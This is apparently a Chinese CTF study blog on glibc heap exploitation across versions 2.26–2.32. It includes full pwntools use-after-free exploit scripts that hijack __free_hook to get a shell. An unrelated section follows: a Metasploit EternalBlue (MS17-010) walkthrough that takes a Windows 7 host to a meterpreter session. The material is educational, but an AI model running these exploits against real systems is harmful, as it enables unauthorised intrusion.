typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

//-------------------------------------------------------------------------------

tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //add

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL; //add
return (void *) e;
}


即会在释放chunk的bk处加入key字段,一般为heap_base+0x10,即当前线程的tcache struct的地方。释放时赋值,申请回来时置零。

②新增的一些检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//注释头

{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}

重点是这里if (__glibc_unlikely (e->key == tcache)),即针对之前tcache dup做的限制,检查要释放chunk的key字段,如果等于tcache结构体地址,则遍历对于的tcache中的chunk是否和该chunk为同一个chunk,是则报错。这个好绕过,通常可以利用漏洞改掉tcache中对于chunk的bk指针即可。由于unsortedbin attack失效,而Tcache_Stashing_Unlink_Attack通常还需要结合堆溢出,UAF之类的漏洞,所以常常可以配合largebin attack来进行攻击tcache dup。

▲还有一点需要注意的是,有的2.27版本已经引入了2.29中的一些机制,刚刚提到的,比如key字段之类的,具体做题具体分析。

参考:glibc-2.29新增的保护机制学习总结 - 安全客,安全资讯平台 (anquanke.com)

③出现的新手段

Tcache stash unlink attack,很多师傅分析这个漏洞都是在2.29下开始分析,但实际上从最开始引入2.26的tcache就已经有了,只不过可能是之前的unsortedbin attack太好用,就没开发出来这个漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
//2.26  

if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);

#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}

#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}


//2.32
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

可以看到几乎是一样的,只有一两处:

A.2.26判断了smallbin是否为空,为空则会调用malloc_consolidate进行初始化,但是从2.27开始就没有了。这个在针对malloc_consolidate进行攻击的时候可能会用到。

B.错误打印方式不同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//2.26
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;

//errout define 2 time
errout:
if (!have_lock && locked)
__libc_lock_unlock (av->mutex);
malloc_printerr (check_action, errstr, chunk2mem (p), av);
return;
}

errout:
malloc_printerr (check_action, errstr, chunk2mem (oldp), av);
return NULL;
}

//2.27及以上
malloc_printerr ("malloc(): smallbin double linked list corrupted");

这个在针对malloc_printerr也可能会用到

而这种攻击主要是针对smallbin攻击的。

但也有一种针对fastbin攻击的:

Tcache Stashing Unlink Attack利用思路 - 安全客,安全资讯平台 (anquanke.com)

这个后面再讨论下。

2.UAF常见限制

(1)UAF + Leak + Size不做限制:

这个没啥好说的,直接泄露地址之后任意申请就完了。

(2)UAF+Leak+Size做限制:

结合之前的,小Chunk就修改size,可以放入unsortedbin就填满Tcache之后放入泄露地址后任意申请即可。

(3)UAF+无Leak+Size不做限制:

一般很多tcache的题都会对size做限制,但是其实对于tcache的UAF来说,没啥大用,都能绕过,像我下面对于0x4f8的chunk就可以利用修改size来伪造,和之前基本一致。

由于tcache没什么限制,我们可以利用unsortedbin踩下地址后,对应修改fd即可实现爆破申请_IO_2_1_stdout结构体,修改flag和部分字节写write_base,write_end来泄露地址,然后就可以任意申请了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
def pwn():
global p
heap_base = leak_heap()
libc_base = leak_libc() - libc.sym['printf']
elf_base = leak_elf() - elf.sym['main']
log.info("heap_base:0x%x"%heap_base)
log.info("libc_base:0x%x"%libc_base)
log.info("elf_base:0x%x"%elf_base)
add_malloc(0x1000-0x8-0x250,'PIG007NB')


guess_libc = 0xf000
guess_heap = 0xf000
guess_IO = guess_libc + libc.sym['_IO_2_1_stdout_']
lg("guess_IO",guess_IO)

add_malloc(0x4f8,"\x00"*0x4f8) #idx 0x1

add_malloc(0x38,"\x01"*0x38) #idx 0x2
add_malloc(0x38,"\x02"*0x38) #idx 0x3
add_malloc(0x38,"\x03"*0x38) #idx 0x4
add_malloc(0x38,'\x04'*0x38) #idx 0x5


#write libc addr
free(0x1)
add_malloc(0x78,p16((guess_IO)&0xffff)) #idx 0x6
#show(0x1)
#libc_base_attempt = u64Leakbase(libc.sym['_IO_2_1_stdout_'])
#lg("libc_base_attempt",libc_base_attempt)

free(0x2)
free(0x4)
edit(0x4,0x2,p16((guess_heap+0x1000+0x10)&0xffff))


add_malloc(0x38,'\x05'*0x38) #idx 0x7
add_malloc(0x38,'\x06'*0x38) #idx 0x8
add_malloc(0x38,p64(0xfbad1800) + p64(0)*3 + '\x00')#idx 0x9

libc_base = u64Leakbase(0x3b5890)
lg("libc_base",libc_base)


add_malloc(0x48,'/bin/sh\x00') #idx 0xa
add_malloc(0x48,'/bin/sh\x00') #idx 0xb
free(0xa)
free(0xb)
edit(0xb,0x8,p64(libc_base+libc.sym['__free_hook']))
add_malloc(0x48,'/bin/sh\x00') #idx 0xc
add_malloc(0x48,p64(libc_base + libc.sym['system']))#idx 0xd
free(0xc)
it()

i = 0
while True:
i = i + 1
try:
p = process("./note")
lg("Times:",i)
pwn()
except EOFError:
p.close()
continue
except Exception:
p.close()
continue
else:
p.interactive()
break

当然这种解法有点没效率,因为需要同时爆破Libc和heap的各半个字节,总共一个字节,总的来说数学期望为1/256。但是观察上面我们可以看到由于tcache机制,同处于0x100一个内存页下的Chunk前面的都一样,不用爆破,那么只需要修改最后一个字节即可完成tcache链表的修改,这样爆破的期望就下降到了半个字节,数学期望1/16,明显提升了很大效率,比赛时直冲一血,嘿嘿:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#注释头

def pwn():
global p
heap_base = leak_heap()
libc_base = leak_libc() - libc.sym['printf']
elf_base = leak_elf() - elf.sym['main']
log.info("heap_base:0x%x"%heap_base)
log.info("libc_base:0x%x"%libc_base)
log.info("elf_base:0x%x"%elf_base)
add_malloc(0x1000-0x8-0x250,'PIG007NB')


guess_libc = 0xd000
guess_IO = guess_libc + libc.sym['_IO_2_1_stdout_']
lg("guess_IO",guess_IO)

tcacheMalloc(0x98) #idx 0x1~0x7
add_malloc(0x98,"\x00"*0x98) #idx 0x8

add_malloc(0x98,"\x00"*0x98) #idx 0x9


add_malloc(0x38,"\x01"*0x38) #idx 0xa
add_malloc(0x38,"\x02"*0x38) #idx 0xb
add_malloc(0x38,"\x03"*0x38) #idx 0xc
add_malloc(0x38,'\x04'*0x38) #idx 0xd


#write libc addr
tcacheDelete(0x1)
free(0x9)
add_malloc(0x38,p16((guess_IO)&0xffff)) #idx 0xe
#show(0x1)
#libc_base_attempt = u64Leakbase(libc.sym['_IO_2_1_stdout_'])
#lg("libc_base_attempt",libc_base_attempt)

#change 0x40 link_list
free(0xa)
free(0xc)
edit(0xc,0x1,'\x10')

add_malloc(0x38,'\x05'*0x38) #idx 0xf
add_malloc(0x38,'\x06'*0x38) #idx 0x10
add_malloc(0x38,p64(0xfbad1800) + p64(0)*3 + '\x00')#idx 0x11

libc_base = u64Leakbase(0x3b5890)
lg("libc_base",libc_base)


add_malloc(0x48,'/bin/sh\x00') #idx 0x12
add_malloc(0x48,'/bin/sh\x00') #idx 0x13
free(0x12)
free(0x13)
edit(0x13,0x8,p64(libc_base+libc.sym['__free_hook']))

add_malloc(0x48,'/bin/sh\x00') #idx 0x14
add_malloc(0x48,p64(libc_base + libc.sym['system']))#idx 0x15
free(0x14)
it()

i = 0
while True:
i = i + 1
try:
p = process("./note")
lg("Times:",i)
pwn()
except EOFError:
p.close()
continue
except Exception:
p.close()
continue
else:
p.interactive()
break

▲爆破题外话:

之前没怎么发现,这里发现PIE+ASLR出来的Libc地址开头可能是0x7e,而且中间也有可能会出现\x00的情况,这样就很容易使得我们爆破的次数直线上涨,所以在调试好了之后,爆破会加入

1
2
3
4
5
6
7
#注释头

context.timeout = 0.5
#----------------------------------------------------------------------
except Exception:
p.close()
continue

来简单对抗这两种变化,防止爆破中断,但是这个也会把其他的一些错误给忽略,比如说libc.sym[‘main_arena’],如果给的Libc没有debug信息,那么就搜索不到main_arena,就会出错,而如果加入了上述代码,就会忽略掉,然后重启。

还有的就是需要看下main_arena的地址,爆破的时候可能会和_IO_2_1_stdout相差一点。最好加上打印:

1
2
IO_2_1_stdout_ = guess_libc + libc.sym['_IO_2_1_stdout_']
lg("_IO_2_1_stdout_",_IO_2_1_stdout_)

(4)UAF+无Leak+Size做限制:

一般很多tcache的题都会对size做限制,要么小,要么大。但是其实对于tcache的UAF来说,没啥大用,都能绕过,不像fastbin一样,需要在目的地址伪造size。所以这里基本上修改一下size都可以得到对应解法,这种题目更多应该是考察堆布局的能力。需要有一个对于所有chunk进行布局的能力,最好准备草稿纸写写画画(excel也行)…..

六、Glibc2.31

1.部分手段失效

(1)原始largebin attack失效

从2.30开始将从unsortebin放入largebin的代码中在size比较的其中一个分支新增检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//注释头

//unsortedbin chunk->size < largebin chunk->size
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //unsortedbin chunk->size >= largebin chunk->size
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}

即当发生从unsortedbin中转移到largbin中时,如果unsortedbin中要转移的chunk的size大于largebin中原本就有的尾部chunk的size,就会触发新增的检查。否则,则不会触发新增的检查。

而新增检查的意思其实就是检查双向链表的完整性,这和之前unsortedbin失效加入的检查如出一辙。

1
2
3
4
//注释头

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
1
2
3
4
//注释头

if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

但是由于当size小于的时候没有检查,所以largebin attack还是可以用的,只要unsortedbin中要放入largebin中的chunk的size小于largebin中chunk的size即可,但是这里的largebin attack已经被降级,相比之前的两个地址任意写,限制只能写一个地址了。

(2)Tcache结构扩大

之前版本的tcache中count一直是一个字节,这回从2.30开始就变成了两个字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//注释头

//2.29
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

//2.30
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

所以tcache的结构体也从0x250扩大为0x290

(3)删除了一些assert

在2.30版本及之后,删除了一些有关tcache的assert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//注释头

//2.29
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}


//2.30
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}


//2.29
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

//2.30
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

以前就想着是不是能像控fastbinY溢出一样来控tcache溢出呢,但在2.29及以前肯定是不行的,因为有assert存在。就算修改了mp_.tcache_bins,成功进入tcache_put也会因为assert(tc_idx<TCACHE_MAX_BINS)的断言使得程序退出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//注释头

if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}

if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}

但是新版本删去了这个操作,那么如果我们能够修改mp_.tcache_bins,就将能够调用tcache_put函数,将tcache结构体往后溢出,就像修改global_max_fast一样,实在是有点逗,不知道为什么新版本要删掉,这个就引入了一种新的方法:glibc 2.27-2.32版本下Tcache Struct的溢出利用 - 安全客,安全资讯平台 (anquanke.com)。这个我个人还是觉得这位师傅讲的还是有点出入,因为是2.30才删去的,2.29及以前是不存在这种方法的,包括用2.29调试也是的。

(4)对count新增了一些限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//2.29
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}

//2.30
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}

从2.30开始在_libc_malloc中准备从tcache中申请时,会判断counts[tc_idx]是否大于0,不大于0则不会从tcache中申请。所以有时候我们使用直接修改fd的办法需要考虑到数量是否会被清0。但是在_int_free中却没有新增类似的检查。

2.UAF常见限制

(1)UAF+Leak+Size不做限制:

这里也不需要多讲,放入unsortedbin后直接泄露地址之后任意申请就完了。

(2)UAF+Leak+Size做限制:

结合之前的,小Chunk就修改size,可以放入unsortedbin的就填满Tcache之后放入泄露地址后任意申请即可。

(3)UAF+无Leak+Size不做限制:

其实和2.29差不多,只是失效了一些手段,比如传统的largebin attack失效。而之前在2.29中讲到的相关方法其实也一样可以直接用上。爆破_IO_2_1_stdout泄露地址,之后任意申请修改__free_hook即可。

(4)UAF+无Leak+Size做限制:

同样还是需要通过堆布局来修改size,制造unsortedbin chunk。

七、Glibc2.32

1.新增机制

(1)Tcache和Fastbin新增指针异或检查的safe-linking机制

①引入一个宏定义

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

即将传入的pos右移12bit后和ptr异或。

②实际应用

Tcache中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

Fastbin中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);

再加上其他

1
2
3
4
5
6
7
8
9
10
11
12
13
p->fd = PROTECT_PTR (&p->fd, old);
//----------------------------------------
p = REVEAL_PTR (p->fd);
//----------------------------------------
tcache_tmp->entries[i] = REVEAL_PTR (e->next);
//----------------------------------------
*fb = REVEAL_PTR (victim->fd);
//----------------------------------------
*fb = REVEAL_PTR (tc_victim->fd);
//----------------------------------------
tmp = REVEAL_PTR (tmp->next))
//----------------------------------------
nextp = REVEAL_PTR (p->fd);
1
2
3
4
5
6
7
8
9
10
11
12
#define REMOVE_FB(fb, victim, pp)			\
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
pp = REVEAL_PTR (victim->fd); \
if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
} \
while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
!= victim); \

等多多少少用到tcache和fastbin的地方。而unsortebin、largebin、smallbin都不会进行相关指针异或。

(2)新增机制Safe-linking的漏洞

①规律性

官方说的是

1
2
3
4
5
6
7
8
9
/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */

基于ASLR之后的堆地址,即Key值为第一个进入该大小TcacheBin链的chunk的地址右移12bit得到,对于Fastbin也是一样的。

Snipaste_2021-08-25_19-54-16

②特殊性

虽说FD被加密,但是由于是异或的关系,在UAF的特殊条件下其实是可以控制FD指向其他堆块的。

比如说我们进行一定的堆布局,尝试将堆块集中在0x100内,然后可以爆破1个字节来进行计算:

Snipaste_2021-08-25_17-50-30

这里就chunk4->chunk3->chunk2->chunk1。

这里就假设我们爆破1字节后已经知道了heapbase/0x1000左移12bit的最后一个字节为0x59。现在进行计算一下,如果我们想把chunk4的FD指向chunk1在没有Leak的情况下应该怎么修改?

计算0x10^0x59=0x49,所以如果我们利用UAF部分写chunk4的FD的第一个字节为0x49,那么实际上其实指向的就是chunk1。这个在没有泄露地址而Size又做限制导致只能用Fastbin和Tcache时,可以采用这种方法爆破。所以实际上的期望应该是1/256,这个尝试一下应该就可以实现的。

(3)新增Tcache地址对齐检查

①tcache_get中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//2.32
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

//2.31
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

可以看到在tcache_get中新增了一个检查

1
2
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");

这个导致了我们的tcache不能任意申请了,必须是0x10对齐的,这个可能会导致不少的手段变化。

②tcache结构释放函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
tcache_thread_shutdown (void)
{
int i;
tcache_perthread_struct *tcache_tmp = tcache;

if (!tcache)
return;

/* Disable the tcache and prevent it from being reinitialized. */
tcache = NULL;
tcache_shutting_down = true;

/* Free all of the entries and the tcache itself back to the arena
heap for coalescing. */
for (i = 0; i < TCACHE_MAX_BINS; ++i)
{
while (tcache_tmp->entries[i])
{
tcache_entry *e = tcache_tmp->entries[i];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("tcache_thread_shutdown(): "
"unaligned tcache chunk detected");
tcache_tmp->entries[i] = REVEAL_PTR (e->next);
__libc_free (e);
}
}

__libc_free (tcache_tmp);
}
1
2
3
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("tcache_thread_shutdown(): "
"unaligned tcache chunk detected");

即当程序退出,释放tcache结构体时会加入对tcache中所有chunk进行地址对齐检查,但是这个对exit()的攻击没什么影响。

③Tcache中double free检查中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next))
{
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
1
2
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");

当tcache进行Free的double free检查时,如果tcache中第一个bin的chunk地址不对齐,也会错误。其实最开始不太理解,想这能有啥用,最开始Free的时候不就已经进行地址对齐检查了吗。后面想到由于stashing机制,可能会将地址不合法的Chunk放入到tcache中,所以再进行对应Bin大小的chunk释放时,进行检查提高安全性吧。这个我们在利用的时候也需要注意下,别到时候得到了用Stashing机制放入一个不合法chunk之后再free导致程序出错了。

想感叹一下,在2.31及以下版本,只有在_int_free函数中才有一个地址对齐检查,这2.32突然加了好几个,真是挺猛的。

2.UAF常见限制

(1)UAF+Leak+Size不做限制:

这个如上图中就可以直接leak出chunk1的内容得到key,然后释放unsortedbin chunk泄露libc地址后,利用key异或对应地址即可任意申请。

(2)UAF+Leak+Size做限制:

一样的,Leak出key之后,修改size得到unsortedbin chunk之后泄露libc地址,异或改掉FD任意申请chunk。

(3)UAF+无Leak+Size做限制:

这条件下的想半天实在没想出来,爆破两个字节倒是可以申请到Tcache结构体,但是两个字节的期望却达到了0xffff=65535,实际的线上CTF中可能爆出来黄花菜都凉了。

▲爆破两字节申请Tcache Struct:

比如我们先爆破一个字节,使得heapbase的地址为0xabcde5500000

然后我们按照上述方法,用一定堆布局,计算一下地址

异或之后的地址应该为:

1
2
chunk1:				0xabcde5500400 ^ 0xabcde5500 = 0x--(0x0400^0x5500)
TcacheStruct: 0xabcde5500000 ^ 0xabcde5500 = 0x--(0x0000^0x5500)

那么就可以直接该指向chunk1地址的最后两个字节为5500即可指向Tcache结构体,然后释放进入unsortedbin踩下libc地址再爆破申请stdout泄露地址,这样又会出来半个字节爆破空间。即0xfffff=1048575,直接GG。

▲size做限制其实没差别,可以爆破一个字节来修改的。

总结

这次总结堆利用方法让我也学到了好多,翻了好多源码,很多以前不明所以的东西翻了相关源码之后感觉一下子就清楚了。

这篇文章持续更新,以后再发现有意思的地方再回来更新。

当然,UAF其实是特别好利用的一种,高版本下也对应有很多的骚操作,比如

house of pig :house of pig一个新的堆利用详解 - 安全客,安全资讯平台 (anquanke.com)

house of banana :house of banana - 安全客,安全资讯平台 (anquanke.com)

等等现在大多的题目都是off by null + 堆布局,尤其是堆布局这一块,实在是无比考验对堆的理解,因为万一其中哪个地方想错,直接就得推倒重来。

后面找时间再总结下off by null吧。

1.metasploit-win7永恒之蓝-ms17_010复现

开了防火墙的话可能都ping不通,需要各种绕过

一、前期工作:

1.首先信息收集,获取真实IP,然后扫描,很多种,参数太多:

nmap -O -p445 ip:检查是否开启445端口及主机操作系统

db_nmap -sT -T4 ip:快速扫描,db是database

2.然后看有没有漏洞,需要对漏洞有一定掌握

3.在metasploit下查找漏洞的使用模块和扫描模块等,下面利用win7的永恒之蓝漏洞:

search ms17_011:查找该漏洞的相关

img

4.先使用该模块扫描看看有没有该漏洞:

(1)进入模块并且配置模块信息:

use auxiliary/scanner/smb/smb_ms17_010

show options

img

set RHOSTS ip

(2)使用该模块来扫描:

run或者exploit

检测到可能有,那么使用攻击模块:

5.使用攻击模块进行攻击:

img

set RHOSTS ip

exploit

6.得到目的主机的shell:

img

7.为了不乱码,设置编码格式为utf-8:

chcp 65001

8.调换至后台,输入sessions可以查看,sessions id可以进入:

background

sessions

sessions id

9.为了更好利用,调换至meterpreter模式:

sessions -u 1

img

